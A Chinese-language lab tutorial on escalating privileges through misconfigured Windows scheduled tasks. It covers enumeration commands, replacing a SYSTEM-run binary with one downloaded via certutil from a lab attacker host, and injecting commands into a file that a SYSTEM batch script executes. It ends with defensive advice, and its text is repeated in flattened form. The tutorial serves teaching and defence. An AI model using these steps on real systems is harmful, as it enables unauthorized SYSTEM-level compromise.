利用 Windows 常见的错误配置进行提权:计划任务
字数 1391 2025-08-26 22:11:57

Windows计划任务错误配置提权技术详解

0x00 前言

本文详细讲解如何利用Windows系统中常见的计划任务错误配置进行权限提升的技术。计划任务是Windows系统中用于自动执行例行任务的机制,当这些任务以高权限(如SYSTEM)运行时,如果存在配置错误,攻击者可能利用这些漏洞提升自身权限。

0x01 实验环境准备

系统配置

为复现本文中的利用案例,需要创建两个配置错误的计划任务:

  1. 创建普通用户lowuser

  2. 创建必要的目录结构:

    mkdir "C:\ScheduledTasks\Task1"
    mkdir "C:\ScheduledTasks\Task2"
    mkdir "C:\ScheduledTasks\Task3"
    
  3. 准备执行文件:

    • Task1和Task3执行二进制文件
    • Task2执行BAT文件
    copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task1\something.exe"
    echo for /F "tokens=*" %%i in ('type "C:\ScheduledTasks\Task2\.secret\file.txt"') do cmd.exe /C %%i > C:\ScheduledTasks\Task2\something.bat
    copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task3\something.exe"
    
  4. 设置权限限制:

    icacls "C:\ScheduledTasks\Task2" /deny lowuser:(W)
    icacls "C:\ScheduledTasks\Task2\something.bat" /deny lowuser:(W,D)
    icacls "C:\ScheduledTasks\Task3" /deny lowuser:(W)
    
  5. 创建三个计划任务:

    schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task1" /tr "C:\ScheduledTasks\Task1\something.exe" /sc minute /mo 2
    schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task2" /tr "C:\ScheduledTasks\Task2\something.bat" /sc minute /mo 2
    schtasks /create /ru "lowuser" /rp "" /tn "\Microsoft\AdminTasks\Task3" /tr "C:\ScheduledTasks\Task3\something.bat" /sc minute /mo 2
    

0x02 Windows计划任务基础

Windows计划任务(Windows Task Scheduler)允许在选定的计算机上自动执行例行任务。它通过监控用户选择的触发条件(称为触发器)来启动任务,并在满足条件时执行任务。

计划任务操作类型

  1. 触发COM处理程序
  2. 执行二进制文件
  3. 发送电子邮件
  4. 显示消息框

计划任务触发器类型

基于时间的触发器

  • 时间触发
  • 每日触发
  • 每周触发
  • 每月触发

基于事件的触发器

  • 空闲触发
  • 开机触发
  • 注册触发
  • 登录触发
  • 会话状态更改触发

值得注意的是,一个任务可以配置多个触发器。计划任务通常以高权限(NT Authority\System)执行,如果配置不当,可能导致权限提升漏洞。

0x03 计划任务错误配置利用

3.1 任务枚举技术

方法一:使用schtasks命令

schtasks /query /fo LIST /v

方法二:使用PowerShell

Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}

此命令会:

  1. 排除默认的Microsoft\Windows路径下的任务
  2. 排除当前用户权限的任务
  3. 显示剩余任务的状态、动作、日期、路径、名称和执行用户

3.2 利用案例:Task1

Task1每两分钟以SYSTEM权限执行C:\ScheduledTasks\Task1\something.exe。

检查文件权限
使用accesschk工具检查当前用户是否有写权限:

C:\Toolbox\accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\something.exe

如果有写权限,可以用恶意二进制文件替换原文件:

certutil -urlcache -split -f "http://192.168.230.130:8080/something.exe" C:\ScheduledTasks\Task1\something.exe

替换后,最多等待两分钟,系统将以SYSTEM权限执行我们的恶意文件。

3.3 利用案例:Task2

Task2每两分钟以SYSTEM权限执行C:\ScheduledTasks\Task2\something.bat。

BAT文件内容分析:

for /F "tokens=*" %%i in ('type "C:\ScheduledTasks\Task2\.secret\file.txt"') do cmd.exe /C %%i

该脚本会读取.secret\file.txt文件内容并逐行执行。

利用方法

  1. 检查是否有创建.secret目录和file.txt文件的权限
  2. 创建目录和文件:
    mkdir C:\ScheduledTasks\Task2\.secret
    echo "C:\Windows\System32\spool\drivers\color\legit.exe" > C:\ScheduledTasks\Task2\.secret\file.txt
    
  3. 等待最多两分钟,系统将以SYSTEM权限执行我们指定的命令

0x04 防御措施

  1. 最小权限原则:计划任务应使用完成任务所需的最低权限运行
  2. 文件权限控制:确保计划任务执行的二进制文件和脚本不能被非授权用户修改
  3. 审计计划任务:定期检查系统中的计划任务配置
  4. 使用专用账户:为计划任务创建专用服务账户,而非使用SYSTEM等高权限账户
  5. 限制脚本执行:严格控制脚本文件的写入权限,特别是那些会被计划任务执行的脚本

0x05 总结

Windows计划任务配置不当可能导致严重的权限提升漏洞。攻击者可以通过:

  1. 替换计划任务执行的二进制文件
  2. 修改计划任务执行的脚本或脚本引用的文件
  3. 利用计划任务的高权限执行恶意代码

系统管理员应定期审计计划任务配置,确保没有此类安全隐患存在。

Windows计划任务错误配置提权技术详解 0x00 前言 本文详细讲解如何利用Windows系统中常见的计划任务错误配置进行权限提升的技术。计划任务是Windows系统中用于自动执行例行任务的机制,当这些任务以高权限(如SYSTEM)运行时,如果存在配置错误,攻击者可能利用这些漏洞提升自身权限。 0x01 实验环境准备 系统配置 为复现本文中的利用案例,需要创建两个配置错误的计划任务: 创建普通用户lowuser 创建必要的目录结构: 准备执行文件: Task1和Task3执行二进制文件 Task2执行BAT文件 设置权限限制: 创建三个计划任务: 0x02 Windows计划任务基础 Windows计划任务(Windows Task Scheduler)允许在选定的计算机上自动执行例行任务。它通过监控用户选择的触发条件(称为触发器)来启动任务,并在满足条件时执行任务。 计划任务操作类型 触发COM处理程序 执行二进制文件 发送电子邮件 显示消息框 计划任务触发器类型 基于时间的触发器 : 时间触发 每日触发 每周触发 每月触发 基于事件的触发器 : 空闲触发 开机触发 注册触发 登录触发 会话状态更改触发 值得注意的是,一个任务可以配置多个触发器。计划任务通常以高权限(NT Authority\System)执行,如果配置不当,可能导致权限提升漏洞。 0x03 计划任务错误配置利用 3.1 任务枚举技术 方法一:使用schtasks命令 方法二:使用PowerShell 此命令会: 排除默认的Microsoft\Windows路径下的任务 排除当前用户权限的任务 显示剩余任务的状态、动作、日期、路径、名称和执行用户 3.2 利用案例:Task1 Task1每两分钟以SYSTEM权限执行C:\ScheduledTasks\Task1\something.exe。 检查文件权限 : 使用accesschk工具检查当前用户是否有写权限: 如果有写权限,可以用恶意二进制文件替换原文件: 替换后,最多等待两分钟,系统将以SYSTEM权限执行我们的恶意文件。 3.3 利用案例:Task2 Task2每两分钟以SYSTEM权限执行C:\ScheduledTasks\Task2\something.bat。 BAT文件内容分析: 该脚本会读取.secret\file.txt文件内容并逐行执行。 利用方法 : 检查是否有创建.secret目录和file.txt文件的权限 创建目录和文件: 等待最多两分钟,系统将以SYSTEM权限执行我们指定的命令 0x04 防御措施 最小权限原则 :计划任务应使用完成任务所需的最低权限运行 文件权限控制 :确保计划任务执行的二进制文件和脚本不能被非授权用户修改 审计计划任务 :定期检查系统中的计划任务配置 使用专用账户 :为计划任务创建专用服务账户,而非使用SYSTEM等高权限账户 限制脚本执行 :严格控制脚本文件的写入权限,特别是那些会被计划任务执行的脚本 0x05 总结 Windows计划任务配置不当可能导致严重的权限提升漏洞。攻击者可以通过: 替换计划任务执行的二进制文件 修改计划任务执行的脚本或脚本引用的文件 利用计划任务的高权限执行恶意代码 系统管理员应定期审计计划任务配置,确保没有此类安全隐患存在。